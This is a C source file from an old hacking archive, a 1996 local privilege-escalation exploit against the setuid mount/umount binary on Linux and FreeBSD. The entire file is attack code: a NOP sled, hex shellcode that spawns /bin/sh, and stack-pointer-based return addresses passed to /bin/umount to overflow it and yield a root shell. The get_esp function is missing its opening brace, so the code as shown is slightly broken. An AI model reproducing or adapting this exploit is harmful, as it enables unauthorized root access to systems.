home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / mount-ex.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  2KB  |  77 lines

  1. /* Mount Exploit for Linux/FreeBSD, Jul 30 1996 
  2.  
  3. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  4. ::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::
  5. :::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::
  6. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::
  7. ::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  8. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  9. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  10. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  11. ::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::
  12. :::::::...........:::...........:::...........::.......:......:.......::::::
  13. :::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::
  14.  
  15. Discovered and Coded by Bloodmask & Vio
  16. Covin 1996
  17. */
  18.  
  19. #include <unistd.h>
  20. #include <stdio.h>
  21. #include <stdlib.h>
  22. #include <fcntl.h>
  23. #include <sys/stat.h>
  24.  
  25. #define PATH_MOUNT "/bin/umount"
  26. #define BUFFER_SIZE 1024
  27. #define DEFAULT_OFFSET 50
  28.  
  29. u_long get_esp() 
  30.   __asm__("movl %esp, %eax"); 
  31.  
  32. }
  33.  
  34. main(int argc, char **argv)
  35. {
  36.   u_char execshell[] = 
  37.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  38.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  39.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  40.  
  41.    char *buff = NULL;
  42.    unsigned long *addr_ptr = NULL;
  43.    char *ptr = NULL;
  44.    
  45.    int i;
  46.    int ofs = DEFAULT_OFFSET;
  47.    
  48.    buff = malloc(4096);
  49.    if(!buff)
  50.    {
  51.       printf("can't allocate memory\n");
  52.       exit(0);
  53.    }
  54.    ptr = buff;
  55.  
  56.    /* fill start of buffer with nops */
  57.  
  58.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  59.    ptr += BUFFER_SIZE-strlen(execshell);
  60.  
  61.    /* stick asm code into the buffer */
  62.  
  63.    for(i=0;i < strlen(execshell);i++)
  64.       *(ptr++) = execshell[i];
  65.  
  66.    addr_ptr = (long *)ptr;
  67.    for(i=0;i < (8/4);i++)
  68.       *(addr_ptr++) = get_esp() + ofs;
  69.    ptr = (char *)addr_ptr;
  70.    *ptr = 0;
  71.  
  72.    (void)alarm((u_int)0);
  73.    printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
  74.    execl(PATH_MOUNT, "mount", buff, NULL);
  75. }
  76.